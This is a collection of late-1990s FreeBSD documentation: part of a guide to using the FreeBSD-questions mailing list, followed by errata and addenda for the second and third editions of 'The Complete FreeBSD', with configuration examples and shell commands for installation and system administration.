  you can send mail to "Majordomo@FreeBSD.ORG" with the following command
  in the body of your email message:

      unsubscribe freebsd-questions Greg Lehey <grog@lemis.de>

  Here's the general information for the list you've
  subscribed to, in case you don't already have it:

  FREEBSD-QUESTIONS               User questions
  This is the mailing list for questions about FreeBSD.  You should not
  send "how to" questions to the technical lists unless you consider the
  question to be pretty technical.

Normally, unsubscribing is even simpler than the message suggests: you
don't need to specify your mail ID unless it is different from the one
which you specified when you subscribed.

If Majordomo replies and tells you (incorrectly) that you're not on
the list, this may mean one of two things:

  1.  You have changed your mail ID since you subscribed.  That's where
      keeping the original message from majordomo comes in handy.  For
      example, the sample message above shows my mail ID as
      grog@lemis.de.  Since then, I have changed it to
      grog@lemis.com.  If I were to try to remove grog@lemis.com from
      the list, it would fail: I would have to specify the name with
      which I joined.

  2.  You're subscribed to a mailing list which is subscribed to
      FreeBSD-questions.  If that's the case, you'll have to figure out
      which one it is and get your name taken off that one.  If you're
      not sure which one it might be, check the headers of the
      messages you receive from freebsd-questions: maybe there's a
      clue there.

If you've done all this, and you still can't figure out what's going
on, send a message to Postmaster@FreeBSD.org, and he will sort things
out for you.  Don't send a message to FreeBSD-questions: they can't
help you.

III: Should I ask -questions, -newbies or -hackers?
===================================================

Two mailing lists handle general questions about FreeBSD,
FreeBSD-questions and FreeBSD-hackers.  In addition, the
FreeBSD-newbies list caters specifically for people who are new to
FreeBSD and may be having trouble getting used to the environment.  In
some cases, it's not really clear which group you should ask.  The
following criteria should help for 99% of all questions, however:

     If the question is of a general nature, first check whether this
     isn't a Frequently Asked Question (FAQ).  There's a list of these
     questions at http://www.freebsd.org/FAQ/FAQ.html, and also on
     your own system (once you've installed it) at
     /usr/share/doc/FAQ/FAQ.html.  Check there, and if you don't find
     an answer, ask FreeBSD-questions.  Examples might be questions
     about installing FreeBSD or the use of a particular UNIX utility.

     If you think the question relates to a bug, but you're not sure,
     or you don't know how to look for it, send the message to
     FreeBSD-questions.

     If the question relates to a bug, and you're almost sure that
     it's a bug (for example, you can pinpoint the place in the code
     where it happens, and you maybe have a fix), then send the
     message to FreeBSD-hackers.  You should also enter a problem
     report with the send-pr utility.

     If the question relates to enhancements to FreeBSD, and you can
     make suggestions about how to implement them, then send the
     message to FreeBSD-hackers.

     If the question is of particularly technical nature, such as
     implementation details or suggestions for improvements, then send
     the message to FreeBSD-hackers.

     If you're new to FreeBSD, and the message is about your own
     relationship to FreeBSD, send the message to FreeBSD-newbies.

There are also a number of other specialized mailing lists, for
example FreeBSD-isp, which caters to the interests of ISPs (Internet
Service Providers) who run FreeBSD.  If you happen to be an ISP, this
doesn't mean you should automatically send your questions to
FreeBSD-isp.  The criteria above still apply, and it's in your
interest to stick to them, since you're more likely to get good
results that way.

IV:  How to submit a question
=============================

When submitting a question to FreeBSD-questions, consider the
following points:

  1.  Remember that nobody gets paid for answering a FreeBSD question.
      They do it of their own free will.  You can influence this free
      will positively by submitting a well-formulated question
      supplying as much relevant information as possible.  You can
      influence this free will negatively by submitting an incomplete,
      illegible, or rude question.  It's perfectly possible to send a
      message to FreeBSD-questions and not get an answer even if you
      follow these rules.  It's much more possible to not get an
      answer if you don't.  In the rest of this document, we'll look
      at how to get the most out of your question to
      FreeBSD-questions.

  2.  Not everybody who answers FreeBSD questions reads every message:
      they look at the subject line and decide whether it interests
      them.  Clearly, it's in your interest to specify a subject.
      ``FreeBSD problem'' or ``Help'' aren't enough.  If you provide
      no subject at all, many people won't bother reading it.  If your
      subject isn't specific enough, the people who can answer it may
      not read it.

  3.  Format your message so that it is legible, and PLEASE DON'T
      SHOUT!!!!!.  We appreciate that a lot of people don't speak
      English as their first language, and we try to make allowances
      for that, but it's really painful to try to read a message
      written full of typos or without any line breaks.  A lot of
      badly formatted messages come from bad mailers or badly
      configured mailers.  The following mailers are known to send out
      badly formatted messages without you finding out about them:

      Eudora
      exmh
      Microsoft Exchange
      Microsoft Internet Mail
      Microsoft Outlook
      Netscape

      As you can see, the mailers in the Microsoft world are frequent
      offenders.  If at all possible, use a UNIX mailer.  If you must
      use a mailer under Microsoft environments, make sure it is set
      up correctly.  Try not to use MIME: a lot of people use mailers
      which don't get on very well with MIME.

      For further information on this subject, check out
      http://www.lemis.com/email.html.

  4.  Make sure your time and time zone are set correctly.  This may
      seem a little silly, since your message still gets there, but
      many of the people you are trying to reach get several hundred
      messages a day.  They frequently sort the incoming messages by
      subject and by date, and if your message doesn't come before the
      first answer, they may assume they missed it and not bother to
      look.

  5.  Don't include unrelated questions in the same message.  Firstly,
      a long message tends to scare people off, and secondly, it's
      more difficult to get all the people who can answer all the
      questions to read the message.

  6.  Specify as much information as possible.  This is a difficult
      area, and we need to expand on what information you need to
      submit, but here's a start:

         If you get error messages, don't say ``I get error
         messages'', say (for example) ``I get the error message 'No
         route to host'''.

         If your system panics, don't say ``My system panicked'', say
         (for example) ``my system panicked with the message 'free
         vnode isn't'''.

         If you have difficulty installing FreeBSD, please tell us
         what hardware you have.  In particular, it's important to
         know the IRQs and I/O addresses of the boards installed in
         your machine.

         If you have difficulty getting PPP to run, describe the
         configuration.  Which version of PPP do you use? What kind of
         authentication do you have? Do you have a static or dynamic
         IP address? What kind of messages do you get in the log file?

  7.  If you don't get an answer immediately, or if you don't even see
      your own message appear on the list immediately, don't resend
      the message.  Wait at least 24 hours.  The FreeBSD mailer
      offloads messages to a number of subordinate mailers around the
      world, and sometimes it can take several hours for the mail to
      get through.  And once it gets through, the one person who might
      know the answer will probably just have gone to bed in his part
      of the world.

  8.  If you do all this, and you still don't get an answer, there
      could be other reasons.  For example, the problem is so
      complicated that nobody knows the answer, or the person who does
      know the answer was offline.  If you don't get an answer after,
      say, a week, it might help to re-send the message.  If you don't
      get an answer to your second message, though, you're probably
      not going to get one from this forum.  Resending the same
      message again and again will only make you unpopular.

To summarize, let's assume you know the answer to the following
question (yes, it's the same one in each case :-).  You choose which of
these two questions you would be more prepared to answer:


Message 1:
Subject: (none)

I just can't get hits damn silly FereBSD system to workd, and Im really good at this tsuff, but I have never seen anythign sho difficult to install, it jst wont work whatever I try so why don't y9ou guys tell me what I doing wrong.

----------------------------------------------------------------------

Message 2:
Subject: Problems installing FreeBSD

I've just got the FreeBSD 2.1.5 CD-ROM from Walnut Creek, and I'm
having a lot of difficulty installing it.  I have a 66 MHz 486 with 16
MB of memory and an Adaptec 1540A SCSI board, a 1.2GB Quantum Fireball
disk and a Toshiba 3501XA CD-ROM drive.  The installation works just
fine, but when I try to reboot the system, I get the message "Missing
Operating System".

----------------------------------------------------------------------

V: How to follow up to a question
=================================

Often you will want to send in additional information to a question
you have already sent.  The best way to do this is to reply to your
original message.  This has three advantages:

1.  You include the original message text, so people will know what
    you're talking about.  Don't forget to trim unnecessary text out,
    though.

2.  The text in the subject line stays the same (you did remember to
    put one in, didn't you?).  Many mailers will sort messages by
    subject.  This helps group messages together.

3.  The message reference numbers in the header will refer to the
    previous message.  Some mailers, such as mutt, can thread messages,
    showing the exact relationships between the messages.

VI: How to answer a question
============================

Before you answer a question to FreeBSD-questions, consider:

1.  A lot of the points on submitting questions also apply to
    answering questions.  Read them.

2.  Has somebody already answered the question?  The easiest way to
    check this is to sort your incoming mail by subject: then
    (hopefully) you'll see the question followed by any answers, all
    together.

    If somebody has already answered it, it doesn't automatically mean
    that you shouldn't send another answer.  But it makes sense to
    read all the other answers first.

3.  Do you have something to contribute beyond what has already been
    said?  In general, "Yeah, me too" answers don't help much,
    although there are exceptions, like when somebody is describing a
    problem he's having, and he doesn't know whether it's his fault or
    whether there's something wrong with the hardware or software.  If
    you do send a "me too" answer, you should also include any further
    relevant information.

4.  Are you sure you understand the question? Very frequently, the
    person who asks the question is confused or doesn't express
    himself very well.  Even with the best understanding of the system,
    it's easy to send a reply which doesn't answer the question.  This
    doesn't help: you'll leave the person who submitted the question
    more frustrated or confused than ever.  If nobody else answers, and
    you're not too sure either, you can always ask for more
    information.

5.  Are you sure your answer is correct?  If not, wait a day or so.
    If nobody else comes up with a better answer, you can still reply
    and say, for example, "I don't know if this is correct, but since
    nobody else has replied, why don't you try replacing your ATAPI
    CD-ROM with a frog?".

6.  Unless there's a good reason to do otherwise, reply to the sender
    and to FreeBSD-questions.  Many people on the FreeBSD-questions
    are "lurkers": they learn by reading messages sent and replied to
    by others.  If you take a message which is of general interest off
    the list, you're depriving these people of their information.  Be
    careful with group replies; lots of people send messages with
    hundreds of CCs.  If this is the case, be sure to trim the Cc:
    lines appropriately.

7.  Include relevant text from the original message. Trim it to the
    minimum, but don't overdo it. It should still be possible for
    somebody who didn't read the original message to understand what
    you're talking about.

8.  Use some technique to identify which text came from the original
    message, and which text you add. I personally find that prepending
    ``> '' to the original message works best. Leaving white space
    after the ``> '' and leave empty lines between your text and the
    original text both make the result more readable.

9.  Put your response in the correct place (after the text to which it
    replies). It's very difficult to read a thread of responses where
    each reply comes before the text to which it replies.

10.  Most mailers change the subject line on a reply by prepending a
     text such as ``Re: ''. If your mailer doesn't do it
     automatically, you should do it manually.

11.  If the submitter didn't abide by format conventions (lines too
     long, inappropriate subject line), please fix it.  In the case of
     an incorrect subject line (such as ``HELP!!??''), change the
     subject line to (say) ``Re: Difficulties with sync PPP (was:
     HELP!!??)''. That way other people trying to follow the thread
     will have less difficulty following it.

     In such cases, it's appropriate to say what you did and why you
     did it, but try not to be rude.  If you find you can't answer
     without being rude, don't answer.

     If you just want to reply to a message because of its bad format,
     just reply to the submitter, not to the list.  You can just send
     him this message in reply, if you like.


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          Errata and addenda for the Complete FreeBSD, third edition




                         Last revision: 2 August 1999

The trouble with books is that you can't update them the way you can a web page
or any other online documentation.   The  result  is  that  most  leading  edge
computer  books are out of date almost before they are printed.  Unfortunately,
``The Complete FreeBSD'', published by Walnut  Creek,  is  no  exception.   In-
evitably, a number of bugs and changes have surfaced.

The  following  is  a list of modifications which go beyond simple typos.  They
relate to the third edition, formatted  on  17  May  1999.   You'll  find  this
information  on  page  iv  (the  page  before  the  beginning  of  the Table of
Contents).  See the end of this document for instructions on how  to  find  the
errata for an older version.

You can get the current document in four forms:

o A     PostScript     version,     suitable     for     printing    out,    at
  ftp://ftp.lemis.com/pub/cfbsd/errata-3.ps. See page 302 of the third  edition
  to  find  out  how  to print out PostScript.  If at all possible, please take
  this document: it's closest to the original text.

  Be careful selecting this file with a web browser: it is often impossible  to
  reload the document, and you may see a previously cached version.

o An enhanced ASCII version at ftp://ftp.lemis.com/pub/cfbsd/errata-3.txt. When
  viewed with more or less,  this  version  will  show  some  highlighting  and
  underlining.  It's not suitable for direct viewing.

o An  ASCII-only  version at ftp://ftp.lemis.com/pub/cfbsd/errata-3.ascii. This
  version is posted every week to the  FreeBSD-questions  mailing  list.   Only
  take  this version if you have real problems with PostScript: I can't be sure
  that the lack of different fonts won't confuse the meaning.

o A web version at http://www.lemis.com/errata-3.html.

All these modifications have been applied to the ongoing  source  text  of  the
book, so if you buy a later edition, they will be in it as well.  If you find a

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bug or a suspected bug in the book, please contact me at <grog@FreeBSD.org.>

Page ii
_______

The instructions on page ii (opposite the title  page)  tell  you  to  look  at
ftp://ftp.lemis.com/pub/cfbsd/errata-2  for  the  errata  list.   That's wrong.
Look at this list.

Pages 190 and 191
_________________

The description is not very clear about which text appears  when  booting  from
floppy  for  initial  install,  and  which  appears when booting normally.  The
procedure is very similar, but there are some differences.  Add  the  following
text after the heading Boot messages:

You'll  boot  your system in at least two different ways: initially you'll boot
from floppy or CD-ROM in order to install the system.  Later, after the  system
is  installed,  you'll boot from hard disk.  The procedure is almost identical,
so we'll look at both versions in the following examples.

Replace the text from the middle of page 191 with:

If you're booting from 1.44 MB floppies, you will then see:

Please insert MFS root floppy and press enter:

When you insert the MFS root floppy and press  Enter,  you  see  more  twirling
batons, then the UserConfig screen appears.

UserConfig: Modifying the boot configuration
____________________________________________

After  the  kernel has been loaded, the following screen will appear if you are
installing the system, or if you have requested it with the -c  option  to  the
boot loader:

Page 206
________

The  bottom  two lines on this page should be in bold constant font, indicating
that this is input for your /etc/rc.config file


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nfs_client_enable="YES"       # This host is an NFS client (or NO).
nfs_server_enable="YES"       # This host is an NFS server (or NO).


Page 265
________

The example on the second half of the page refers to the old SCSI driver.   The
scsi  program  is  no  longer  available  in  FreeBSD  3.x.   Instead,  use the
camcontrol program.  Replace the text with:.

Modern disks make provisions for recovering from such errors by  allocating  an
alternate sector for the data.  IDE drives do this automatically, but with SCSI
drives you have the option of enabling or disabling reallocation.   Usually  it
is  turned on when you buy them, but occasionally it is not.  When installing a
new disk, you should check that the parameters  ARRE  (Auto  Read  Reallocation
Enable)  and AWRE (Auto Write Reallocation Enable) are turned on.  For example,
to check and set the values for disk da1, you would enter:

# camcontrol modepage da1 -m 1 -e -P 3
# scsi -f /dev/rda1c -m 1 -e -P 3

This command will start up your favourite editor (either the one  specified  in
the EDITOR environment variable, or vi by default) with the following data:

AWRE (Auto Write Reallocation Enbld):  0
ARRE (Auto Read Reallocation Enbld):  1
TB (Transfer Block):  0
RC (Read Continuous):  0
EER (Enable Early Recovery):  0
PER (Post Error):  0
DTE (Disable Transfer on Error):  0
DCR (Disable Correction):  0
Read Retry Count:  16
Correction Span:  41
Head Offset Count:  0
Data Strobe Offset Count:  0
Write Retry Count:  16
Recovery Time Limit:  0

The  values  for  AWRE  and  ARRE should both be 1.  If they aren't, as in this
case, where AWRE is 0, change the data with the editor, save it, and exit.  The
camcontrol  program will write the data back to the disk and enable the option.


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Page 331
________

The description of the config refers to the SCSI drive sd0.  This  is  the  old
name; in FreeBSD version 3, SCSI drives are called da, so this reference should
be da0.

Thanks  to  Francisco  Reyes  <francisco@natserv.com>  for  pointing  out  this
problem.

Page 362
________

Replace the text at the top of the page with:

Next, change to the build directory and build the kernel:

# cd ../../compile/FREEBIE
# make depend
# make

   The  make  depend  is needed even if the directory has just been created:
   apart from creating dependency information, it also  creates  some  files
   needed for the build.
Thanks to Mark Ovens <marcov@globalnet.co.uk> for drawing this to my attention,
and   to   Francisco   Reyes   <francisco@natserv.com>   and   Bill    Fumerola
<billf@jade.chc-chimes.com>  for pointing out that it still wasn't fixed in the
third edition.

Page 409
________

The information on setting the default routers specified the wrong end  of  the
PPP  links  in  some  places.  It should always be the ``far'' end of the link.
Replace the second example on page 409, and the text following  it,  with  this
text:

defaultrouter="139.130.136.129"    # Set to default gateway (or NO).
static_routes=""              # Set to static route list (or leave empty).
gateway_enable="YES"               # Set to YES if this host will be a gateway.

This  is the normal way to set the default route on a point-to-point interface.
In fact, for PPP you don't  need  to  specify  the  default  address:  the  PPP
packages will set it for you when the link comes up.  This makes it possible to

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set default routes when you're forced to use dynamic IP  addresses,  where  you
don't know the address at this point.  We'll see how PPP does this on page 446.

In the first example on page 410, the sixth example on page 412 and the  second
example on page 413, replace the defaultrouter definition with:


defaultrouter="139.130.237.65"          # Set to default gateway (or NO).


Thanks to Andreas Longwitz <longwitz@Incore.de> for pointing out this error.

Getting errata for older editions of the book
_____________________________________________

There have been a total of five different versions of ``The Complete FreeBSD''.
The most accurate way to distinguish them is by the format date,  which  you'll
find  at  the  bottom of page iv (the page before the beginning of the Table of
Contents) in all versions of the book.

1. The first was titled ``Installing and running FreeBSD'', and  was  formatted
  on 24 February 1996.  No errata list exists for this book.

2. For  the first edition (19 July 1996), get ftp://ftp.lemis.com/pub/cfbsd/er-
  rata-1.   This   same   file   is   also   available   via   the   web   link
  http://www.lemis.com/errata-1. I am no longer updating this errata list.

3. The  list  for  the  second  edition (16 December 1997) is available in four
  forms:

  o A    PostScript    version,    suitable    for     printing     out,     at
    ftp://ftp.lemis.com/pub/cfbsd/errata-2.ps.  See  page  222  of  the  second
    edition to find out how to print  out  PostScript.   If  at  all  possible,
    please take this document: it's closest to the original text.

    Be  careful  selecting this file with a web browser: it is often impossible
    to reload the document, and you may see a previously cached version.

  o An enhanced ASCII  version  at  ftp://ftp.lemis.com/pub/cfbsd/errata-2.txt.
    When viewed with more or less, this version will show some highlighting and
    underlining.  It's not suitable for direct viewing.

  o An ASCII-only version at ftp://ftp.lemis.com/pub/cfbsd/errata-2.ascii. This
    version  is  posted every week to the FreeBSD-questions mailing list.  Only

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    take this version if you have real problems with  PostScript:  I  can't  be
    sure that the lack of different fonts won't confuse the meaning.

  o A web version at http://www.lemis.com/errata-2.html.

4. The  revised  second edition was formatted on 11 February 1999.  As the name
  suggests, it's not a complete new edition: in fact, only three  chapters  are
  different:

  o The chapter ``Setting up X11'' has been brought up to date.

  o Appendix  D (``Contents of the Ports Collection'') has been replaced by two
    appendixes, ``Errata and Addenda'' (the errata list up to date at the time)
    and  ``FreeBSD  3.0'',  which describes the differences between FreeBSD 2.x
    and FreeBSD 3.x.

  There is no separate errata list for this book.  Refer to the second  edition
  errata list.

5. The  current,  third edition, formatted on 17 May 1999.  This is the correct
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          Errata and addenda for the Complete FreeBSD, second edition




                          Last revision: 21 June 1999

The trouble with books is that you can't update them the way you can a web page
or any other online documentation.   The  result  is  that  most  leading  edge
computer  books are out of date almost before they are printed.  Unfortunately,
``The Complete FreeBSD'', published by Walnut  Creek,  is  no  exception.   In-
evitably, a number of bugs and changes have surfaced.

The  following  is  a list of modifications which go beyond simple typos.  They
relate to the second edition, formatted on 16 December 1997.  If you have  this
book,  please  check this list.  If you have the first edition of 19 July 1996,
please check ftp://ftp.lemis.com/pub/cfbsd/errata-1. This  same  file  is  also
available via the web link http://www.lemis.com/.

This list is available in four forms:

o A     PostScript     version,     suitable     for     printing    out,    at
  ftp://ftp.lemis.com/pub/cfbsd/errata-2.ps. See page 222 of the book  to  find
  out  how  to  print  out  PostScript.   If  at all possible, please take this
  document: it's closest to the original text.

  Be careful selecting this file with a web browser: it is often impossible  to
  reload the document, and you may see a previously cached version.

o An enhanced ASCII version at ftp://ftp.lemis.com/pub/cfbsd/errata-2.txt. When
  viewed with more or less,  this  version  will  show  some  highlighting  and
  underlining.  It's not suitable for direct viewing.

o An  ASCII-only  version at ftp://ftp.lemis.com/pub/cfbsd/errata-2.ascii. This
  version is posted every week to the  FreeBSD-questions  mailing  list.   Only
  take  this version if you have real problems with PostScript: I can't be sure
  that the lack of different fonts won't confuse the meaning.

o A web version at http://www.lemis.com/errata-2.html.

All these modifications have been applied to the ongoing  source  text  of  the
book, so if you buy a later edition, they will be in it as well.  If you find a

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bug or a suspected bug in the book, please contact me at <grog@FreeBSD.org.>

General changes
_______________


o In a number of places, I suggest the use of the  following  command  to  find
  process information:

  $ ps aux | grep foo

  Unfortunately,  ps  is sensitive to the column width of the terminal emulator
  upon which it is working.  This command usually works fine  on  a  relatively
  wide  xterm,  but if you're running on an 80-column terminal, it may truncate
  exactly the information you're looking for, so you end  up  with  no  output.
  You can fix that with the w option:

  $ ps waux | grep foo

  Thanks to Sue Blake <sue@welearn.com.au> for this information


Location of the sample files
____________________________

On  the  2.2.5 CD-ROM only, the location of the sample files does not match the
specifications in the book (/book on the first CD-ROM).  The 2.2.5 CD-ROM  came
out before the book, and it contains the files on the third (repository) CD-ROM
as a single gzipped tar file  /xperimnt/cfbsd/cfbsd.tar.gz.   It  contains  the
following files:

drwxr-xr-x jkh/jkh           0 Oct 17 13:01 1997 cfbsd/
drwxr-xr-x jkh/jkh           0 Oct 17 13:01 1997 cfbsd/mutt/
-rw-r--r-- jkh/jkh         352 Oct 15 15:21 1997 cfbsd/mutt/.mail_aliases
-rw-r--r-- jkh/jkh        9394 Oct 15 15:22 1997 cfbsd/mutt/.muttrc
drwxr-xr-x jkh/jkh           0 Oct 17 14:02 1997 cfbsd/scripts/
-rw-r--r-- jkh/jkh       18281 Oct 16 16:52 1997 cfbsd/scripts/.fvwm2rc
-rwxr-xr-x jkh/jkh        1392 Oct 17 12:54 1997 cfbsd/scripts/install-desktop
-rw-r--r-- jkh/jkh         296 Oct 17 12:35 1997 cfbsd/scripts/.xinitrc
-rwxr-xr-x jkh/jkh         622 Oct 17 13:51 1997 cfbsd/scripts/install-rcfiles
-rw-r--r-- jkh/jkh        1133 Oct 17 13:00 1997 cfbsd/scripts/Uutry
-rw-r--r-- jkh/jkh        1028 Oct 17 14:02 1997 cfbsd/scripts/README
drwxr-xr-x jkh/jkh           0 Oct 18 19:32 1997 cfbsd/docs/
-rw-r--r-- jkh/jkh      199111 Oct 16 14:29 1997 cfbsd/docs/packages.txt

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-rw-r--r-- jkh/jkh      189333 Oct 16 14:28 1997 cfbsd/docs/packages-by-category.txt
-rw-r--r-- jkh/jkh      188108 Oct 16 14:29 1997 cfbsd/docs/packages.ps
-rw-r--r-- jkh/jkh      226439 Oct 16 14:27 1997 cfbsd/docs/packages-by-category.ps
-rw-r--r-- jkh/jkh         788 Oct 16 15:01 1997 cfbsd/README
-rw-r--r-- jkh/jkh         248 Oct 17 11:52 1997 cfbsd/errata

To  extract  one  of these files, say cfbsd/docs/packages.txt, and assuming you
have the CD-ROM mounted as /cdrom, enter:

# cd /usr/share/doc
# tar xvzf /cdrom/xperimnt/cfbsd/cfbsd.tar.gz cfbsd/docs/packages.txt

See page 209 for more information on using tar.

These files are an early version of what is described in the book.  I'll put up
some updated versions on ftp://ftp.lemis.com/ in the near future.

Thanks  to Frank McCormick <gfm@readybox.com> for drawing this to my attention.

Chapter 8: Setting up X11
_________________________

For FreeBSD 2.2.7, this chapter has changed sufficiently to make it impractical
to   distribute   errata.    You  can  download  the  PostScript  version  from
ftp://www.lemis.com/pub/cfbsd/xsetup.ps,   or   the    ASCII    version    from
ftp://www.lemis.com/pub/cfbsd/xsetup.txt.  No HTML version is available.

Page xxxiv
__________

Before the discussion of the shell prompts in the middle of the page, add:

In this book, I recommend the use of the Bourne shell or one of its descendents
(sh, bash, pdksh, ksh or zsh).  With the exception of sh, they are all  in  the
Ports Collection.  I personally use the bash shell.

This  is a personal preference, and a recommendation, but it's not the standard
shell.  The standard BSD shell is the  C  shell  (csh),  which  has  a  fuller-
featured  descendent  tcsh.   In particular, the standard installation sets the
root user up with a csh.  See page 152 (in this errata) for details of  how  to
change the shell.




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General changes


Page 11: Reading the handbook
_____________________________

The  CD-ROM  now includes Netscape.  Replace the last paragraph on the page and
the example on the following page with:

If you're running X, you can use a browser like netscape to read the  handbook.
If you don't have X running yet, use lynx.  Both of these programs are included
on the CD-ROM.  To install them, enter:

# pkg_add /cdrom/packages/All/netscape-communicator-4.5.tgz
or
# pkg_add /cdrom/packages/All/lynx-2.8.1.1.tgz

The numbers after the name (4.5 and 2.8.1.1) may change  after  this  book  has
been  printed.   Use  ls  to  list the names if you can't find these particular
versions.

Note that lynx is not a complete substitute for netscape:  since  it  is  text-
only,  it  is  not  capable  of  displaying  the  large  majority  of web pages
correctly.  It will suffice for reading most of the handbook, however.

Thanks to Stuart Henderson <stuart@internationalschool.co.uk> and <gkaplan@cas-
tle.net> for drawing this to my attention.

Page 12: Printing the handbook
______________________________

The instructions for formatting the handbook are obsolete.  Replace the section
starting Alternatively, you can print out the handbook with the following text:

Alternatively,  you  can  print  out  the  handbook.   You  need  to  have  the
documentation sources (/usr/doc) installed on your system.  You can  find  them
on the second CD-ROM in the directory of the same name.  To install them, first
mount your CD-ROM (see page 175).  Then enter:

$ cd /cdrom/usr/doc/handbook
$ mkdir -p /usr/doc/handbook            you may need to be root for this operation
$ cp -pr * /usr/doc/handbook

You have a choice of formats for the output:

o ascii will give you plain 7-bit ASCII  output,  suitable  for  reading  on  a
  character-mode terminal.

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o html will give you HTML output, suitable for browsing with a web browser.

o latex  will  give  you LATEX format, suitable for further processing with TEX
  and LATEX.

o ps will give you PostScript output, probably the best choice for printing.

o roff will give you output in troff source.  You can process this output  with
  nroff  or  troff,  but  it's  currently not very polished.  LATEX output is a
  better choice if you want to process it further.

Once you have decided your format,  use  make  to  create  the  document.   For
example, if you decide on PostScript format, you would enter:

$ make FORMATS=ps

This  creates  a  file  handbook.ps  which  you  can then print to a PostScript
printer or with the aid of ghostscript (see page 222).

Thanks to Bob Beer <r-beer@onu.edu> for drawing this to my attention.

Page 45:  Preparing floppies for installation
_____________________________________________

Replace the paragraph below the list of file names (in the middle of the  page)
with:

The  floppy  set should contain the file bin.inf and the ones whose names start
with bin. followed by two letters.  These other  files  are  all  240640  bytes
long,  except  for the final one which is usually shorter.  Use the MS-DOS COPY
program to copy as many files as will fit onto each disk (5 or 6) until  you've
got  all  the  distributions  you  want  packed  up in this fashion.  Copy each
distribution into subdirectory corresponding to  the  base  name--for  example,
copy the bin distribution to the files A:\BIN\BIN.INF, A:\BIN\BIN.AA and so on.

Page 80 and 81
______________

In a couple of examples, the FreeBSD partition is shown as type 164.  It should
be  165.   Thanks  to an unknown contributer for this correction (sorry, I lost
your name).




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Page 88: setting up for dumping
_______________________________

The example mentions a variable savecore in /etc/rc.conf.  This variable is  no
longer used--it's enough to set the variable dumpdev.

Page 92
_______

At the end of the section How to install a package add the text:

Alternatively,  you  can  install  packages  from  the  /stand/sysinstall Final
Configuration Menu.  We saw this menu on page in figure 4-14 on page 71.   When
you  start  sysinstall from the command line, you get to this menu by selecting
Index, and then selecting Configure.


Page 93
_______

Before the heading Install ports from the first CD-ROM add:


Install ports when installing the system
________________________________________

The file ports/ports.tgz on the first CD-ROM is a tar  archive  containing  all
the  ports.   You  can install it with the base system if you select the Custom
distribution and include the ports collection.  If you didn't install  them  at
the  time,  use  the  following method to install them all (about 40 MB).  Make
sure your CD-ROM is mounted (in this example on /cdrom), and enter:

Page 96
_______

Replace the example at the top of the page with:

Instead, do:

# cd /cd4/ports/distfiles
# mkdir -p /usr/ports/distfiles              make sure you have a distfiles directory
# for i in *; do
>   ln -s /cd4/ports/distfiles/$i /usr/ports/distfiles/$i
> done

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If you're using csh or tcsh, enter:

# cd /cd4/ports/distfiles
# mkdir -p /usr/ports/distfiles              make sure you have a distfiles directory
# foreach i (*)
?   ln -s /cd4/ports/distfiles/$i /usr/ports/distfiles/$i
? end

Thanks to Christopher Raven <gurab@lineone.net>  and  Francois  Jacques  <fran-
cois.jacques@callisto.si.usherb.ca> for drawing this to my attention.

Page 104
________

The examples at the bottom of the page and the top of the next page specify the
wrong directory (/usr).  It should be /usr/X11R6.  Replace the examples with:

For a full install, choose /cdrom/dists/XF86331/X331*.tgz.  If  you  are  using
sh, enter:

# cd /usr/X11R6
# for i in /cdrom/dists/XF86331/X331*.tgz; do
#   tar xzf $i
# done

If you are using csh, enter:

% cd /usr/X11R6
% foreach i (/cdrom/dists/XF86331/X331*.tgz)
%   tar xzf $i
% end

For a minimal installation, first choose a server archive corresponding to your
VGA board.  If table 8-2 on page 103 doesn't give you enough information, check
the  server  man  pages,  starting  on  page 1545, which list the VGA chip sets
supported by each server.  For example, if you have an ET4000 based  board  you
will use the XF86_SVGA server.  In this case you would enter:

# cd /usr/X11R6
# tar xzf /cdrom/dists/XF86331/X331SVGA.tgz  substitute your server name here
# for i in bin fnts lib xicf; do
#   tar xzf /cdrom/dists/XF86331/X331$i.tgz
# done


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If you are using csh, enter:

% cd /usr/X11R6
% tar xzf /cdrom/dists/XF86331/X331SVGA.tgz  substitute your server name here
% foreach i (bin fnts lib xicf)
%   tar xzf /cdrom/dists/XF86331/$i
% end


Thanks  to Manuel Enrique Garcia Cuesta <megarcia@intercom.es> for pointing out
this one.

Page 128
________

Replace the complete text below the example with the following:

These values are defaults, and many  are  either  incorrect  for  FreeBSD  (for
example the device name /dev/com1) or do not apply at all (for example Xqueue).
If you are configuring manually, select one Protocol and one Device entry  from
the  following  selection.   If  you must use a two-button mouse, uncomment the
keyword Emulate3Buttons--in this mode, pressing both mouse  buttons  simultane-
ously  within Emulate3Timeout milliseconds causes the server to report a middle
button press.

Section "Pointer"

    Protocol   "Microsoft"         for Microsoft protocol mice
    Protocol    "MouseMan"         for Logitech mice
    Protocol    "PS/2"             for a PS/2 mouse
    Protocol    "Busmouse"         for a bus mouse

    Device     "/dev/ttyd0"        for a mouse on the first serial port
    Device     "/dev/ttyd1"        for a mouse on the second serial port
    Device     "/dev/ttyd2"        for a mouse on the third serial port
    Device     "/dev/ttyd3"        for a mouse on the fourth serial port
    Device     "/dev/psm0"         for a PS/2 mouse
    Device     "/dev/mse0"         for a bus mouse

    Emulate3Buttons           only for a two-button mouse

EndSection

You'll notice that the protocol name does not always match  the  manufacturer's

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name.   In  particular,  the  Logitech  protocol only applies to older Logitech
mice.  The newer ones use either the MouseMan or Microsoft  protocols.   Nearly
all modern serial mice run one of these two protocols, and most run both.

If  you are using a bus mouse or a PS/2 mouse, make sure that the device driver
is included in the kernel.  The GENERIC kernel contains drivers for both  mice,
but the PS/2 driver is disabled.  Use UserConfig (see page 50) to enable it.

Page 140
________

Just before the paragraph The super user add the following paragraph:

If  you  do  manage to lose the root password, all may not be lost.  Reboot the
machine to single user mode (see page 157), and enter:

# mount -u /             mount root file system read/write
# mount /usr             mount /usr file system (if separate)
# passwd root            change the password for root
Enter new password:
Enter password again:
# ^D                enter ctrl-D to continue with startup

If you have a separate /usr file system (the normal case), you need to mount it
as  well, since the passwd program is in the directory /usr/bin.  Note that you
should explicitly state the name root: in single user mode, the system  doesn't
have the concept of user IDs.

Page 148
________

Replace the text at the top of the page with:

Modern  shells  supply  command  line editing which resembles the editors vi or
Emacs.  In bash, sh, ksh, and zsh you can make the choice by entering

Page 152
________

After figure 10-8, add the following text:

It  would  be  tedious  for  every  user  to  put  settings  in  their  private
initialization  files, so the shells also read a system-wide default file.  For
the Bourne shell family, it is /etc/profile, while the C shell family has three

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files:  /etc/csh.login  to  be executed on login, /etc/csh.cshrc to be executed
when a new shell is started  after  you  log  in,  and  /etc/csh.logout  to  be
executed  when  you  stop  a  shell.   The  start files are executed before the
corresponding individual files.

In  addition,  login  classes  (page  141)  offer  another  method  of  setting
environment variables at a global level.

Changing your shell
___________________

